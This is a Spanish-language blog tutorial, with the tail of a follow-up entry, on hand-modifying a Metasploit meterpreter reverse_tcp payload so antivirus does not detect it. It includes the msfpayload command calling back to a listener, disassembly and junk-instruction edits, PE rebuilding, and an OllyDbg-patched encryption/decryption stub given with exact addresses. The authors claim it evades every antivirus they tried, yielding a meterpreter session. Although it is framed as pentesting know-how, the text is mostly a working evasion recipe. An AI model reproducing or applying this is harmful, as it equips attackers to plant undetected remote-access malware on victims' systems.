Guardamos en un nuevo fichero y ya tenemos nuestro binario de meterpreter para sistemas con ASLR.

Y por supuesto, ningún antivirus lo detecta (al menos todos los que hemos probado) y el binario se ejecuta correctamente para obtener el meterpreter reverso.

Mas adelante podremos ver como usar estos binarios de meterpreter de forma ingeniosa en auditorias de ingeniería social.

Saludos!

jueves, 2 de agosto de 2012

Manipulación manual de binarios para evasión de antivirus (I)

Es habitual escuchar en muchas empresas que con un antivirus ya se esta protegiendo bastante a los equipos de los empleados frente a binarios maliciosos.
En esta entrada, vamos a ver como un payload de metasploit (meterpreter) que es bastante conocido por los antivirus, puede hacerse totalmente indetectable prácticamente por cualquier antivirus manipulando su código en ensamblador.No apto para script kiddies !

No utilizamos los encoders de meterpreter por que como todos sabemos actualmente muy pocos AV no los detectan.

Lo primero vamos a generar nuestro meterpreter en formato raw:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R > meterpreter_raw

Después, desensamblamos el meterpreter con disassemble.rb de metasploit:

root@bt:/pentest/exploits/framework# pwd
/pentest/exploits/framework
ruby -I lib/metasm/ lib/metasm/samples/disassemble.rb meterpreter_raw > meterpreter.asm

En meterpreter.asm ya tenemos el código en ensamblador del primer stage del meterpreter.Como se puede ver no es mucho código, ya que el primer stage es pequeño.Vamos a intentar modificar el código para intentar que los antivirus no lo detecten.

Para modificar el código, debemos jugar con registros pero con cuidado no vayamos a romper el flujo de ejecución.Tenemos que saber bien que es lo que hacemos.Lo ideal es buscar en el código lineas como xor eax,eax (poner a cero el registro EAX) y sabemos que antes de esta instrucción deberíamos poder jugar con eax para no romper el flujo de ejecución.

Por ejemplo:

// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                           ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]                ; @18h  0fb74a26  r2:unknown
    xor edi, edi                                 ; @1ch  31ff  <-- aquí tenemos un xor


Cambiamos esta sección quedando así: (jugamos también con ecx y no rompemos el flujo de ejecución)

// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                           ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]                ; @18h  0fb74a26  r2:unknown
    push edi
    pop edi
    push edi
    push edi
    push edi
    pop edi
    pop edi
    pop edi
    mov edi, ecx
    push edi
    pop edi
    mov edi, ecx
    xor ecx, ecx
    mov ecx, edi
    xor edi, edi                                 ; @1ch  31ff <- el xor de antes


Podemos probar a cambiar mas secciones del código del primer stage, cuando mas cambiemos , en teoría mas dificultades tendrá el AV de detectarlo.

Al principio del fichero .asm hay que añadir la seccion .text y el entrypoint:

.section '.text' rwx
.entrypoint

Utilizamos la utilidad peencode.rb de metasploit para generar el fichero PE.

ruby -I lib/metasm/ lib/metasm/samples/peencode.rb  meterpreter.asm -o met.exe

Como podéis comprobar algunos AV ya nos los saltamos, otros no, como AVAST.



Bien, para hacerlo aún mas indetectable, vamos a manipular el .exe con ollydbg.

Así nos encontramos el met.exe nada mas abrirlo con el olly:




Buscamos en el binario una zona que podamos añadir código, la localizamos un poco mas abajo, nos apuntamos la dirección de memoria:


Sustituimos la primera instrucción por un jmp a la dirección de memoria anotada:


Hay que tener en cuenta que  el jmp ocupa mas opcodes que la primera instrucción que tiene met.exe (instrucción CLD ) por lo que la siguiente instrucción (CALL 004010A4) desaparece también por lo que tenemos que anotarnos el CLD y el CALL para luego ejecutarlos y continuar con el correcto flujo de ejecución. Nos guardamos el CLD y el CALL en un txt.

Ahora, donde hemos saltado con el jmp del entrypoint, pondremos nuestra rutina de cifrado.Vamos a cifrar todo el código desde después de la dirección(00401006) de nuestro jump que salta a la rutina de cifrado hasta justo antes de empezar la rutina de cifrado(00401136).Efectivamente, estamos "hardcodeando" las direcciones de memoria por lo que con un sistema con ASLR como Win7 no funcionaría, pero lo solucionaremos más adelante.

Haremos una sencilla resta de 69 en hexadecimal a cada opcode, y luego para descifrarlo haremos la suma de 69.

Rutina de cifrado:

00401137      MOV EAX,met.00401006  <-- Meto en EAX la direccion de inicio donde empiezo a cifrar
0040113C     SUB BYTE PTR DS:[EAX],69 <-- Resto 69 Hx al contenido de la direccion que apunta EAX.
0040113F     INC EAX  <-- incremento EAX
00401140     CMP EAX,met.00401136 <-- Comparo EAX con la direccion hasta donde quiero cifrar
00401145     JLE SHORT met.0040113C   <-- Hasta que no termine sigo con el bucle de cifrado
00401147     CLD  <-- Este es el CLD del entrypoint que nos hemos anotado
00401148     CALL met.004010A4 <-- Este es el Call que nos hemos anotado
0040114D    JMP met.00401006 <-- Este jump nos vuelve arriba justo despues de nuestro jmp del entrypoint y el binario continua con su correcto flujo de ejecucion

Asi queda en el ollydbg:


Ahora, abrimos  met_xp_1.exe con olly y vemos como en el entrypoint tenemos nuestro JMP.Vamos a ejecutarlo poco a poco, con F7 vamos avanzando y vemos como el JMP se ejecuta y salta abajo a nuestra rutina de cifrado.

Según se vaya ejecutando el SUB [EAX],69 del bucle podemos ir viendo como se van modificando las zonas de memoria, para hacerlo mas rápido y del tirón ponemos un breakpoint (F2) en la instrucción justo después del JLE y le damos a F9 para que el bucle se ejecute entero.Si subimos con olly, podemos ver como todo el código ha sido modificado e incluso el olly no es capaz de interpretarlo.En la siguiente imagen podemos ver nuestro jmp en el entrypoint y seguido el código ya cifrado en memoria:


Ahora que tenemos el código cifrado en memoria modificamos la rutina de cifrado, para convertirla en rutina de descifrado, para que finalmente lo guardemos en otro fichero.En este fichero final lo que tendremos es el jump del entrypoint que salta a nuestra rutina de descifrado, el código cifrado y la rutina de descifado, que descifrara todo el código y continuara con el flujo de ejecución normal, ejecutandose el primer stage del meterpreter correctamente.

Para convertir la rutina de cifrado en rutina de descifrado simplemente cambiamos el SUB por ADD y guardamos todo de nuevo en otro fichero met_xp_2.exe.
Lo abrimos con el olly y vamos viendo como se va descifrando , ponemos el breakpoint después del JLE , analizamos el código con olly (botón secundario analysis->analyse code) y vemos que esta todo correcto, ya sigue su ejecución con el CLD  y el CALL y el ultimo jump que vuelve justo despues del entrypoint y el primer stage del meterpreter continua ejecutandose correctamente.

Comprobamos que el avast ni se entera y por supuesto obtenemos sesión de meterpreter =) 



Hemos probado con los antivirus mas famosos y ninguno hasta ahora hemos visto que se entere, si lo detectase alguno, seria cuestión de afinar un poco mas hasta que no fuese detectado.

Y que pasa si queremos ejecutar esto en un sistema Windows7 con ASLR ? No funciona al estar las direcciones de memoria "hardcodeadas" en nuestra rutina de descifrado , mas adelante veremos como solucionarlo.